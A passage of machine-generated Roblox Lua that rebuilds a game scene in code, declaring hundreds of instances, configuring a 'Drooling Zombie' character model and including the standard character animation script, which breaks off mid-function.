Instance.new("Accessory") Part861 = Instance.new("Part") SpecialMesh862 = Instance.new("SpecialMesh") StringValue863 = Instance.new("StringValue") Weld864 = Instance.new("Weld") Weld865 = Instance.new("Weld") Weld866 = Instance.new("Weld") Pants867 = Instance.new("Pants") Accessory868 = Instance.new("Accessory") Part869 = Instance.new("Part") SpecialMesh870 = Instance.new("SpecialMesh") Weld871 = Instance.new("Weld") Weld872 = Instance.new("Weld") Weld873 = Instance.new("Weld") Accessory874 = Instance.new("Accessory") Part875 = Instance.new("Part") SpecialMesh876 = Instance.new("SpecialMesh") Weld877 = Instance.new("Weld") Weld878 = Instance.new("Weld") Weld879 = Instance.new("Weld") BodyColors880 = Instance.new("BodyColors") Shirt881 = Instance.new("Shirt") Model882 = Instance.new("Model") Part883 = Instance.new("Part") BlockMesh884 = Instance.new("BlockMesh") Part885 = Instance.new("Part") BlockMesh886 = Instance.new("BlockMesh") Part887 = Instance.new("Part") CylinderMesh888 = Instance.new("CylinderMesh") Part889 = Instance.new("Part") BlockMesh890 = Instance.new("BlockMesh") Part891 = Instance.new("Part") BlockMesh892 = Instance.new("BlockMesh") Part893 = Instance.new("Part") CylinderMesh894 = Instance.new("CylinderMesh") Weld895 = Instance.new("Weld") Weld896 = Instance.new("Weld") Weld897 = Instance.new("Weld") Part898 = Instance.new("Part") CylinderMesh899 = Instance.new("CylinderMesh") Model900 = Instance.new("Model") Model901 = Instance.new("Model") Part902 = Instance.new("Part") Weld903 = Instance.new("Weld") Weld904 = Instance.new("Weld") Weld905 = Instance.new("Weld") Weld906 = Instance.new("Weld") Weld907 = Instance.new("Weld") Weld908 = Instance.new("Weld") Weld909 = Instance.new("Weld") Part910 = Instance.new("Part") ClickDetector911 = Instance.new("ClickDetector") Script912 = Instance.new("Script") Script913 = Instance.new("Script") Weld914 = Instance.new("Weld") Weld915 = Instance.new("Weld") Weld916 = Instance.new("Weld") Weld917 = Instance.new("Weld") Sound918 = Instance.new("Sound") Model919 = Instance.new("Model") Model920 = Instance.new("Model") UnionOperation921 = Instance.new("UnionOperation") Part922 = Instance.new("Part") UnionOperation923 = Instance.new("UnionOperation") Part924 = Instance.new("Part") CylinderMesh925 = Instance.new("CylinderMesh") ClickDetector926 = Instance.new("ClickDetector") Part927 = Instance.new("Part") CylinderMesh928 = Instance.new("CylinderMesh") Script929 = Instance.new("Script") Seat930 = Instance.new("Seat") Weld931 = Instance.new("Weld") Weld932 = Instance.new("Weld") Weld933 = Instance.new("Weld") Weld934 = Instance.new("Weld") Weld935 = Instance.new("Weld") Weld936 = Instance.new("Weld") Weld937 = Instance.new("Weld") Script938 = Instance.new("Script") Part939 = Instance.new("Part") ParticleEmitter940 = Instance.new("ParticleEmitter") Part941 = Instance.new("Part") ParticleEmitter942 = Instance.new("ParticleEmitter") CylinderMesh943 = Instance.new("CylinderMesh") Sound944 = Instance.new("Sound") Part945 = Instance.new("Part") ParticleEmitter946 = Instance.new("ParticleEmitter") Weld947 = Instance.new("Weld") Weld948 = Instance.new("Weld") Weld949 = Instance.new("Weld") Weld950 = Instance.new("Weld") Part951 = Instance.new("Part") ParticleEmitter952 = Instance.new("ParticleEmitter") Part953 = Instance.new("Part") ParticleEmitter954 = Instance.new("ParticleEmitter") Part955 = Instance.new("Part") ParticleEmitter956 = Instance.new("ParticleEmitter") Part957 = Instance.new("Part") ParticleEmitter958 = Instance.new("ParticleEmitter") Part959 = Instance.new("Part") ParticleEmitter960 = Instance.new("ParticleEmitter") Part961 = Instance.new("Part") ParticleEmitter962 = Instance.new("ParticleEmitter") Part963 = Instance.new("Part") ParticleEmitter964 = Instance.new("ParticleEmitter") Part965 = Instance.new("Part") ParticleEmitter966 = Instance.new("ParticleEmitter") Part967 = Instance.new("Part") ParticleEmitter968 = Instance.new("ParticleEmitter") Part969 = Instance.new("Part") ParticleEmitter970 = Instance.new("ParticleEmitter") Part971 = Instance.new("Part") ParticleEmitter972 = Instance.new("ParticleEmitter") UnionOperation973 = Instance.new("UnionOperation") BoolValue974 = Instance.new("BoolValue") Model975 = Instance.new("Model") Part976 = Instance.new("Part") Part977 = Instance.new("Part") Part978 = Instance.new("Part") Part979 = Instance.new("Part") Humanoid980 = Instance.new("Humanoid") Part981 = Instance.new("Part") Part982 = Instance.new("Part") Part983 = Instance.new("Part") Decal984 = Instance.new("Decal") SpecialMesh985 = Instance.new("SpecialMesh") UnionOperation986 = Instance.new("UnionOperation") Decal987 = Instance.new("Decal") Humanoid988 = Instance.new("Humanoid") Model989 = Instance.new("Model") Part990 = Instance.new("Part") Part991 = Instance.new("Part") Part992 = Instance.new("Part") Part993 = Instance.new("Part") Part994 = Instance.new("Part") Snap995 = Instance.new("Snap") Snap996 = Instance.new("Snap") Snap997 = Instance.new("Snap") Part998 = Instance.new("Part") Part999 = Instance.new("Part") Snap1000 = Instance.new("Snap") Snap1001 = Instance.new("Snap") Snap1002 = Instance.new("Snap") Part1003 = Instance.new("Part") MeshPart1004 = Instance.new("MeshPart") MeshPart1005 = Instance.new("MeshPart") Part1006 = Instance.new("Part") Part1007 = Instance.new("Part") Model1008 = Instance.new("Model") Part1009 = Instance.new("Part") Part1010 = Instance.new("Part") Model1011 = Instance.new("Model") Part1012 = Instance.new("Part") Part1013 = Instance.new("Part") Model1014 = Instance.new("Model") Part1015 = Instance.new("Part") SpecialMesh1016 = Instance.new("SpecialMesh") Decal1017 = Instance.new("Decal") Decal1018 = Instance.new("Decal") Dialog1019 = Instance.new("Dialog") Part1020 = Instance.new("Part") Fire1021 = Instance.new("Fire") Script1022 = Instance.new("Script") Part1023 = Instance.new("Part") Part1024 = Instance.new("Part") Part1025 = Instance.new("Part") Part1026 = Instance.new("Part") Part1027 = Instance.new("Part") Part1028 = Instance.new("Part") Model1029 = Instance.new("Model") Part1030 = Instance.new("Part") CylinderMesh1031 = Instance.new("CylinderMesh") Part1032 = Instance.new("Part") Script1033 = Instance.new("Script") CylinderMesh1034 = Instance.new("CylinderMesh") Part1035 = Instance.new("Part") Model1036 = Instance.new("Model") Model1037 = Instance.new("Model") Part1038 = Instance.new("Part") CylinderMesh1039 = Instance.new("CylinderMesh") Weld1040 = Instance.new("Weld") Weld1041 = Instance.new("Weld") Part1042 = Instance.new("Part") CylinderMesh1043 = Instance.new("CylinderMesh") Part1044 = Instance.new("Part") CylinderMesh1045 = Instance.new("CylinderMesh") Part1046 = Instance.new("Part") CylinderMesh1047 = Instance.new("CylinderMesh") ParticleEmitter1048 = Instance.new("ParticleEmitter") Part1049 = Instance.new("Part") CylinderMesh1050 = Instance.new("CylinderMesh") UnionOperation1051 = Instance.new("UnionOperation") Part1052 = Instance.new("Part") CylinderMesh1053 = Instance.new("CylinderMesh") Part1054 = Instance.new("Part") ParticleEmitter1055 = Instance.new("ParticleEmitter") Sound1056 = Instance.new("Sound") ParticleEmitter1057 = Instance.new("ParticleEmitter") Part1058 = Instance.new("Part") ParticleEmitter1059 = Instance.new("ParticleEmitter") Sound1060 = Instance.new("Sound") ParticleEmitter1061 = Instance.new("ParticleEmitter") Sound1062 = Instance.new("Sound") PitchShiftSoundEffect1063 = Instance.new("PitchShiftSoundEffect") Sound1064 = Instance.new("Sound") PitchShiftSoundEffect1065 = Instance.new("PitchShiftSoundEffect") Part1066 = Instance.new("Part") CylinderMesh1067 = Instance.new("CylinderMesh") Part1068 = Instance.new("Part") Part1069 = Instance.new("Part") Part1070 = Instance.new("Part") CylinderMesh1071 = Instance.new("CylinderMesh") Part1072 = Instance.new("Part") Part1073 = Instance.new("Part") Part1074 = Instance.new("Part") Part1075 = Instance.new("Part") Part1076 = Instance.new("Part") Part1077 = Instance.new("Part") CylinderMesh1078 = Instance.new("CylinderMesh") Part1079 = Instance.new("Part") CylinderMesh1080 = Instance.new("CylinderMesh") Part1081 = Instance.new("Part") CylinderMesh1082 = Instance.new("CylinderMesh") Weld1083 = Instance.new("Weld") Part1084 = Instance.new("Part") Part1085 = Instance.new("Part") CylinderMesh1086 = Instance.new("CylinderMesh") Part1087 = Instance.new("Part") Part1088 = Instance.new("Part") CylinderMesh1089 = Instance.new("CylinderMesh") Part1090 = Instance.new("Part") CylinderMesh1091 = Instance.new("CylinderMesh") Part1092 = Instance.new("Part") Part1093 = Instance.new("Part") Part1094 = Instance.new("Part") CylinderMesh1095 = Instance.new("CylinderMesh") UnionOperation1096 = Instance.new("UnionOperation") UnionOperation1097 = Instance.new("UnionOperation") Seat1098 = Instance.new("Seat") Script1099 = Instance.new("Script") Script1100 = Instance.new("Script") LocalScript1101 = Instance.new("LocalScript") ObjectValue1102 = Instance.new("ObjectValue") Script1103 = Instance.new("Script") ObjectValue1104 = Instance.new("ObjectValue") ParticleEmitter1105 = Instance.new("ParticleEmitter") ParticleEmitter1106 = Instance.new("ParticleEmitter") RemoteFunction1107 = Instance.new("RemoteFunction") RemoteFunction1108 = Instance.new("RemoteFunction") ObjectValue1109 = Instance.new("ObjectValue") Script1110 = Instance.new("Script") ObjectValue1111 = Instance.new("ObjectValue") ParticleEmitter1112 = Instance.new("ParticleEmitter") ParticleEmitter1113 = Instance.new("ParticleEmitter") RemoteFunction1114 = Instance.new("RemoteFunction") RemoteEvent1115 = Instance.new("RemoteEvent") RemoteFunction1116 = Instance.new("RemoteFunction") WedgePart1117 = Instance.new("WedgePart") UnionOperation1118 = Instance.new("UnionOperation") WedgePart1119 = Instance.new("WedgePart") UnionOperation1120 = Instance.new("UnionOperation") UnionOperation1121 = Instance.new("UnionOperation") Part1122 = Instance.new("Part") Weld1123 = Instance.new("Weld") Model1124 = Instance.new("Model") Part1125 = Instance.new("Part") Part1126 = Instance.new("Part") Part1127 = Instance.new("Part") Part1128 = Instance.new("Part") Part1129 = Instance.new("Part") CylinderMesh1130 = Instance.new("CylinderMesh") Part1131 = Instance.new("Part") CylinderMesh1132 = Instance.new("CylinderMesh") Part1133 = Instance.new("Part") Part1134 = Instance.new("Part") Part1135 = Instance.new("Part") Part1136 = Instance.new("Part") Part1137 = Instance.new("Part") Part1138 = Instance.new("Part") Part1139 = Instance.new("Part") Part1140 = Instance.new("Part") Part1141 = Instance.new("Part") Model1142 = Instance.new("Model") Part1143 = Instance.new("Part") Texture1144 = Instance.new("Texture") Script1145 = Instance.new("Script") Texture1146 = Instance.new("Texture") Script1147 = Instance.new("Script") Sound1148 = Instance.new("Sound") Weld1149 = Instance.new("Weld") Model1150 = Instance.new("Model") Part1151 = Instance.new("Part") Vector3Value1152 = Instance.new("Vector3Value") Vector3Value1153 = Instance.new("Vector3Value") MeshPart1154 = Instance.new("MeshPart") Motor6D1155 = Instance.new("Motor6D") MeshPart1156 = Instance.new("MeshPart") Motor6D1157 = Instance.new("Motor6D") MeshPart1158 = Instance.new("MeshPart") Motor6D1159 = Instance.new("Motor6D") MeshPart1160 = Instance.new("MeshPart") Motor6D1161 = Instance.new("Motor6D") MeshPart1162 = Instance.new("MeshPart") Motor6D1163 = Instance.new("Motor6D") MeshPart1164 = Instance.new("MeshPart") Motor6D1165 = Instance.new("Motor6D") MeshPart1166 = Instance.new("MeshPart") Motor6D1167 = Instance.new("Motor6D") MeshPart1168 = Instance.new("MeshPart") Motor6D1169 = Instance.new("Motor6D") MeshPart1170 = Instance.new("MeshPart") Motor6D1171 = Instance.new("Motor6D") MeshPart1172 = Instance.new("MeshPart") Motor6D1173 = Instance.new("Motor6D") MeshPart1174 = Instance.new("MeshPart") Motor6D1175 = Instance.new("Motor6D") MeshPart1176 = Instance.new("MeshPart") Motor6D1177 = Instance.new("Motor6D") MeshPart1178 = Instance.new("MeshPart") Motor6D1179 = Instance.new("Motor6D") MeshPart1180 = Instance.new("MeshPart") Motor6D1181 = Instance.new("Motor6D") Humanoid1182 = Instance.new("Humanoid") NumberValue1183 = Instance.new("NumberValue") NumberValue1184 = Instance.new("NumberValue") NumberValue1185 = Instance.new("NumberValue") NumberValue1186 = Instance.new("NumberValue") NumberValue1187 = Instance.new("NumberValue") NumberValue1188 = Instance.new("NumberValue") BoolValue1189 = Instance.new("BoolValue") Part1190 = Instance.new("Part") Motor6D1191 = Instance.new("Motor6D") Decal1192 = Instance.new("Decal") SpecialMesh1193 = Instance.new("SpecialMesh") StringValue1194 = Instance.new("StringValue") Vector3Value1195 = Instance.new("Vector3Value") Vector3Value1196 = Instance.new("Vector3Value") Vector3Value1197 = Instance.new("Vector3Value") Vector3Value1198 = Instance.new("Vector3Value") Vector3Value1199 = Instance.new("Vector3Value") StringValue1200 = Instance.new("StringValue") StringValue1201 = Instance.new("StringValue") Dialog1202 = Instance.new("Dialog") Accessory1203 = Instance.new("Accessory") Part1204 = Instance.new("Part") SpecialMesh1205 = Instance.new("SpecialMesh") Weld1206 = Instance.new("Weld") Weld1207 = Instance.new("Weld") Accessory1208 = Instance.new("Accessory") Part1209 = Instance.new("Part") SpecialMesh1210 = Instance.new("SpecialMesh") StringValue1211 = Instance.new("StringValue") Weld1212 = Instance.new("Weld") Weld1213 = Instance.new("Weld") BodyColors1214 = Instance.new("BodyColors") Model1215 = Instance.new("Model") Part1216 = Instance.new("Part") Part1217 = Instance.new("Part") Model1218 = Instance.new("Model") Part1219 = Instance.new("Part") Part1220 = Instance.new("Part") Weld1221 = Instance.new("Weld") Part1222 = Instance.new("Part") Part1223 = Instance.new("Part") Part1224 = Instance.new("Part") Part1225 = Instance.new("Part") Weld1226 = Instance.new("Weld") Part1227 = Instance.new("Part") Model1228 = Instance.new("Model") Model1229 = Instance.new("Model") Part1230 = Instance.new("Part") Weld1231 = Instance.new("Weld") Part1232 = Instance.new("Part") Sound1233 = Instance.new("Sound") ClickDetector1234 = Instance.new("ClickDetector") Script1235 = Instance.new("Script") Script1236 = Instance.new("Script") Tool1237 = Instance.new("Tool") Part1238 = Instance.new("Part") Part1239 = Instance.new("Part") Part1240 = Instance.new("Part") Part1241 = Instance.new("Part") Part1242 = Instance.new("Part") Part1243 = Instance.new("Part") Part1244 = Instance.new("Part") Part1245 = Instance.new("Part") Model1246 = Instance.new("Model") Part1247 = Instance.new("Part") SurfaceGui1248 = Instance.new("SurfaceGui") TextLabel1249 = Instance.new("TextLabel") Humanoid1250 = Instance.new("Humanoid") Part1251 = Instance.new("Part") Part1252 = Instance.new("Part") Part1253 = Instance.new("Part") SpecialMesh1254 = Instance.new("SpecialMesh") Decal1255 = Instance.new("Decal") Part1256 = Instance.new("Part") Part1257 = Instance.new("Part") Part1258 = Instance.new("Part") Model0.Parent = mas Model1.Parent = Model0 Model2.Name = "Drooling Zombie" Model2.Parent = Model1 Part3.Name = "HumanoidRootPart" Part3.Parent = Model2 Part3.CFrame = CFrame.new(148.5, 2.99998283, -92, 0, 0, -1, 9.62961115e-34, 0.999994516, 0, 1, 9.62961115e-34, 0) Part3.Orientation = Vector3.new(0, -90, 0) Part3.Position = Vector3.new(148.5, 2.99998283, -92) Part3.Rotation = Vector3.new(0, -90, 0) Part3.Color = Color3.new(0.152941, 0.27451, 0.176471) Part3.Transparency = 1 Part3.Size = Vector3.new(2, 2, 1) Part3.BottomSurface = Enum.SurfaceType.Smooth Part3.BrickColor = BrickColor.new("Earth green") Part3.Material = Enum.Material.WoodPlanks Part3.TopSurface = Enum.SurfaceType.Smooth Part3.brickColor = BrickColor.new("Earth green") Part3.FormFactor = Enum.FormFactor.Symmetric Part3.formFactor = Enum.FormFactor.Symmetric Motor6D4.Name = "Root Hip" Motor6D4.Parent = Part3 Motor6D4.MaxVelocity = 0.10000000149012 Motor6D4.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) Motor6D4.C1 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) Motor6D4.Part0 = Part3 Motor6D4.Part1 = Part6 Motor6D4.part1 = Part6 BodyForce5.Name = "RepulsionForce" BodyForce5.Parent = Part3 BodyForce5.Force = Vector3.new(0, 0, 0) BodyForce5.force = Vector3.new(0, 0, 0) Part6.Name = "Torso" Part6.Parent = Model2 Part6.CFrame = CFrame.new(148.5, 2.99998283, -92, 0, 0, -1, 9.62961115e-34, 0.999994516, 0, 1, 9.62961115e-34, 0) Part6.Orientation = Vector3.new(0, -90, 0) Part6.Position = Vector3.new(148.5, 2.99998283, -92) Part6.Rotation = Vector3.new(0, -90, 0) Part6.Color = Color3.new(0.156863, 0.498039, 0.278431) Part6.Size = Vector3.new(2, 2, 1) Part6.BottomSurface = Enum.SurfaceType.Smooth Part6.BrickColor = BrickColor.new("Dark green") Part6.Material = Enum.Material.WoodPlanks Part6.TopSurface = Enum.SurfaceType.Smooth Part6.brickColor = BrickColor.new("Dark green") Part6.FormFactor = Enum.FormFactor.Symmetric Part6.formFactor = Enum.FormFactor.Symmetric Motor6D7.Name = "Left Hip" Motor6D7.Parent = Part6 Motor6D7.MaxVelocity = 0.10000000149012 Motor6D7.C0 = CFrame.new(-1, -1, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08) Motor6D7.C1 = CFrame.new(-0.5, 1, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08) Motor6D7.Part0 = Part6 Motor6D7.Part1 = Part12 Motor6D7.part1 = Part12 Motor6D8.Name = "Right Hip" Motor6D8.Parent = Part6 Motor6D8.MaxVelocity = 0.10000000149012 Motor6D8.C0 = CFrame.new(1, -1, 0, -4.37113883e-08, 0, 1, -0, 0.99999994, 0, -1, 0, -4.37113883e-08) Motor6D8.C1 = CFrame.new(0.5, 1, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08) Motor6D8.Part0 = Part6 Motor6D8.Part1 = Part13 Motor6D8.part1 = Part13 Motor6D9.Name = "Left Shoulder" Motor6D9.Parent = Part6 Motor6D9.MaxVelocity = 0.10000000149012 Motor6D9.C0 = CFrame.new(-1, 0.5, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08) Motor6D9.C1 = CFrame.new(0.5, 0.5, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08) Motor6D9.Part0 = Part6 Motor6D9.Part1 = Part14 Motor6D9.part1 = Part14 Motor6D10.Name = "Right Shoulder" Motor6D10.Parent = Part6 Motor6D10.MaxVelocity = 0.10000000149012 Motor6D10.C0 = CFrame.new(1, 0.5, 0, -4.37113883e-08, 0, 1, -0, 0.99999994, 0, -1, 0, -4.37113883e-08) Motor6D10.C1 = CFrame.new(-0.5, 0.5, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08) Motor6D10.Part0 = Part6 Motor6D10.Part1 = Part15 Motor6D10.part1 = Part15 Motor6D11.Name = "Neck" Motor6D11.Parent = Part6 Motor6D11.MaxVelocity = 0.10000000149012 Motor6D11.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) Motor6D11.C1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) Motor6D11.Part0 = Part6 Motor6D11.Part1 = Part16 Motor6D11.part1 = Part16 Part12.Name = "Left Leg" Part12.Parent = Model2 Part12.CFrame = CFrame.new(148.5, 0.99999392, -92.5, 0, 0, -1, 9.62961115e-34, 0.999994397, 0, 1, 9.62961023e-34, 0) Part12.Orientation = Vector3.new(0, -90, 0) Part12.Position = Vector3.new(148.5, 0.99999392, -92.5) Part12.Rotation = Vector3.new(0, -90, 0) Part12.Color = Color3.new(0.0509804, 0.411765, 0.67451) Part12.Size = Vector3.new(1, 2, 1) Part12.BottomSurface = Enum.SurfaceType.Smooth Part12.BrickColor = BrickColor.new("Bright blue") Part12.CanCollide = false Part12.Material = Enum.Material.WoodPlanks Part12.TopSurface = Enum.SurfaceType.Smooth Part12.brickColor = BrickColor.new("Bright blue") Part12.FormFactor = Enum.FormFactor.Symmetric Part12.formFactor = Enum.FormFactor.Symmetric Part13.Name = "Right Leg" Part13.Parent = Model2 Part13.CFrame = CFrame.new(148.5, 0.99999392, -91.5, 0, 0, -1, 9.62961115e-34, 0.999994397, 0, 1, 9.62961023e-34, 0) Part13.Orientation = Vector3.new(0, -90, 0) Part13.Position = Vector3.new(148.5, 0.99999392, -91.5) Part13.Rotation = Vector3.new(0, -90, 0) Part13.Color = Color3.new(0.0509804, 0.411765, 0.67451) Part13.Size = Vector3.new(1, 2, 1) Part13.BottomSurface = Enum.SurfaceType.Smooth Part13.BrickColor = BrickColor.new("Bright blue") Part13.CanCollide = false Part13.Material = Enum.Material.WoodPlanks Part13.TopSurface = Enum.SurfaceType.Smooth Part13.brickColor = BrickColor.new("Bright blue") Part13.FormFactor = Enum.FormFactor.Symmetric Part13.formFactor = Enum.FormFactor.Symmetric Part14.Name = "Left Arm" Part14.Parent = Model2 Part14.CFrame = CFrame.new(148.5, 2.99998283, -93.5, 0, 0, -1, 9.62961115e-34, 0.999994397, 0, 1, 9.62961023e-34, 0) Part14.Orientation = Vector3.new(0, -90, 0) Part14.Position = Vector3.new(148.5, 2.99998283, -93.5) Part14.Rotation = Vector3.new(0, -90, 0) Part14.Color = Color3.new(0.992157, 0.917647, 0.552941) Part14.Size = Vector3.new(1, 2, 1) Part14.BottomSurface = Enum.SurfaceType.Smooth Part14.BrickColor = BrickColor.new("Cool yellow") Part14.CanCollide = false Part14.Material = Enum.Material.WoodPlanks Part14.TopSurface = Enum.SurfaceType.Smooth Part14.brickColor = BrickColor.new("Cool yellow") Part14.FormFactor = Enum.FormFactor.Symmetric Part14.formFactor = Enum.FormFactor.Symmetric Part15.Name = "Right Arm" Part15.Parent = Model2 Part15.CFrame = CFrame.new(148.5, 2.99998283, -90.5, 0, 0, -1, 9.62961115e-34, 0.999994397, 0, 1, 9.62961023e-34, 0) Part15.Orientation = Vector3.new(0, -90, 0) Part15.Position = Vector3.new(148.5, 2.99998283, -90.5) Part15.Rotation = Vector3.new(0, -90, 0) Part15.Color = Color3.new(0.992157, 0.917647, 0.552941) Part15.Size = Vector3.new(1, 2, 1) Part15.BottomSurface = Enum.SurfaceType.Smooth Part15.BrickColor = BrickColor.new("Cool yellow") Part15.CanCollide = false Part15.Material = Enum.Material.WoodPlanks Part15.TopSurface = Enum.SurfaceType.Smooth Part15.brickColor = BrickColor.new("Cool yellow") Part15.FormFactor = Enum.FormFactor.Symmetric Part15.formFactor = Enum.FormFactor.Symmetric Part16.Name = "Head" Part16.Parent = Model2 Part16.CFrame = CFrame.new(148.5, 4.49997473, -92, 0, 0, -1, 9.62961115e-34, 0.999994516, 0, 1, 9.62961115e-34, 0) Part16.Orientation = Vector3.new(0, -90, 0) Part16.Position = Vector3.new(148.5, 4.49997473, -92) Part16.Rotation = Vector3.new(0, -90, 0) Part16.Color = Color3.new(0.992157, 0.917647, 0.552941) Part16.Size = Vector3.new(2, 1, 1) Part16.BottomSurface = Enum.SurfaceType.Smooth Part16.BrickColor = BrickColor.new("Cool yellow") Part16.Material = Enum.Material.WoodPlanks Part16.TopSurface = Enum.SurfaceType.Smooth Part16.brickColor = BrickColor.new("Cool yellow") Part16.FormFactor = Enum.FormFactor.Symmetric Part16.formFactor = Enum.FormFactor.Symmetric Decal17.Name = "Face" Decal17.Parent = Part16 Decal17.Texture = "http://www.roblox.com/asset/?id=7074882" SpecialMesh18.Parent = Part16 SpecialMesh18.Scale = Vector3.new(1.25, 1.25, 1.25) Humanoid19.Parent = Model2 Humanoid19.LeftLeg = Part12 Humanoid19.RightLeg = Part13 Humanoid19.Torso = Part3 Humanoid19.WalkSpeed = 10 Script20.Name = "Animate" Script20.Parent = Model2 table.insert(cors,sandbox(Script20,function() function waitForChild(parent, childName) local child = parent:findFirstChild(childName) if child then return child end while true do child = parent.ChildAdded:wait() if child.Name==childName then return child end end end local Figure = script.Parent local Torso = waitForChild(Figure, "Torso") local RightShoulder = waitForChild(Torso, "Right Shoulder") local LeftShoulder = waitForChild(Torso, "Left Shoulder") local RightHip = waitForChild(Torso, "Right Hip") local LeftHip = waitForChild(Torso, "Left Hip") local Neck = waitForChild(Torso, "Neck") local Humanoid = waitForChild(Figure, "Humanoid") local pose = "Standing" local currentAnim = "" local currentAnimTrack = nil local currentAnimKeyframeHandler = nil local currentAnimSpeed = 1.0 local animTable = {} local animNames = { idle = { { id = "http://www.roblox.com/asset/?id=125750544", weight = 9 }, { id = "http://www.roblox.com/asset/?id=125750618", weight = 1 } }, walk = { { id = "http://www.roblox.com/asset/?id=125749145", weight = 10 } }, run = { { id = "run.xml", weight = 10 } }, jump = { { id = "http://www.roblox.com/asset/?id=125750702", weight = 10 } }, fall = { { id = "http://www.roblox.com/asset/?id=125750759", weight = 10 } }, climb = { { id = "http://www.roblox.com/asset/?id=125750800", weight = 10 } }, toolnone = { { id = "http://www.roblox.com/asset/?id=125750867", weight = 10 } }, toolslash = { { id = "http://www.roblox.com/asset/?id=129967390", weight = 10 } -- { id = "slash.xml", weight = 10 } }, toollunge = { { id = "http://www.roblox.com/asset/?id=129967478", weight = 10 } }, wave = { { id = "http://www.roblox.com/asset/?id=128777973", weight = 10 } }, point = { { id = "http://www.roblox.com/asset/?id=128853357", weight = 10 } }, dance = { { id = "http://www.roblox.com/asset/?id=130018893", weight = 10 }, { id = "http://www.roblox.com/asset/?id=132546839", weight = 10 }, { id = "http://www.roblox.com/asset/?id=132546884", weight = 10 } }, dance2 = { { id = "http://www.roblox.com/asset/?id=160934142", weight = 10 }, { id = "http://www.roblox.com/asset/?id=160934298", weight = 10 }, { id = "http://www.roblox.com/asset/?id=160934376", weight = 10 } }, dance3 = { { id = "http://www.roblox.com/asset/?id=160934458", weight = 10 }, { id = "http://www.roblox.com/asset/?id=160934530", weight = 10 }, { id = "http://www.roblox.com/asset/?id=160934593", weight = 10 } }, laugh = { { id = "http://www.roblox.com/asset/?id=129423131", weight = 10 } }, cheer = { { id = "http://www.roblox.com/asset/?id=129423030", weight = 10 } }, } -- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false} math.randomseed(tick()) function configureAnimationSet(name, fileList) if (animTable[name] ~= nil) then for _, connection in pairs(animTable[name].connections) do connection:disconnect() end end animTable[name] = {} animTable[name].count = 0 animTable[name].totalWeight = 0 animTable[name].connections = {} -- check for config values local config = script:FindFirstChild(name) if (config ~= nil) then -- print("Loading anims " .. name) table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end)) local idx = 1 for _, childPart in pairs(config:GetChildren()) do if (childPart:IsA("Animation")) then table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end)) animTable[name][idx] = {} animTable[name][idx].anim = childPart local weightObject = childPart:FindFirstChild("Weight") if (weightObject == nil) then animTable[name][idx].weight = 1 else animTable[name][idx].weight = weightObject.Value end animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight -- print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")") idx = idx + 1 end end end -- fallback to defaults if (animTable[name].count <= 0) then for idx, anim in pairs(fileList) do animTable[name][idx] = {} animTable[name][idx].anim = Instance.new("Animation") animTable[name][idx].anim.Name = name animTable[name][idx].anim.AnimationId = anim.id animTable[name][idx].weight = anim.weight animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + anim.weight -- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")") end end end -- Setup animation objects function scriptChildModified(child) local fileList = animNames[child.Name] if (fileList ~= nil) then configureAnimationSet(child.Name, fileList) end end script.ChildAdded:connect(scriptChildModified) script.ChildRemoved:connect(scriptChildModified) for name, fileList in pairs(animNames) do configureAnimationSet(name, fileList) end -- ANIMATION -- declarations local toolAnim = "None" local toolAnimTime = 0 local jumpAnimTime = 0 local jumpAnimDuration = 0.3 local toolTransitionTime = 0.1 local fallTransitionTime = 0.3 local jumpMaxLimbVelocity = 0.75 -- functions function stopAllAnimations() local oldAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then oldAnim = "idle" end currentAnim = "" if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end if (currentAnimTrack ~= nil) then currentAnimTrack:Stop() currentAnimTrack:Destroy() currentAnimTrack = nil end return oldAnim end function setAnimationSpeed(speed) if speed ~= currentAnimSpeed then currentAnimSpeed = speed currentAnimTrack:AdjustSpeed(currentAnimSpeed) end end function keyFrameReachedFunc(frameName) if (frameName == "End") then -- print("Keyframe : ".. frameName) local repeatAnim = stopAllAnimations() local animSpeed = currentAnimSpeed playAnimation(repeatAnim, 0.0, Humanoid) setAnimationSpeed(animSpeed) end end -- Preload animations function playAnimation(animName, transitionTime, humanoid) local idleFromEmote = (animName == "idle" and emoteNames[currentAnim] ~= nil) if (animName ~= currentAnim and not idleFromEmote) then if (currentAnimTrack ~= nil) then currentAnimTrack:Stop(transitionTime) currentAnimTrack:Destroy() end currentAnimSpeed = 1.0 local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end -- print(animName .. " " .. idx .. " [" .. origRoll .. "]") local anim = animTable[animName][idx].anim -- load it to the humanoid; get AnimationTrack currentAnimTrack = humanoid:LoadAnimation(anim) -- play the animation currentAnimTrack:Play(transitionTime) currentAnim = animName -- set up keyframe name triggers if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end 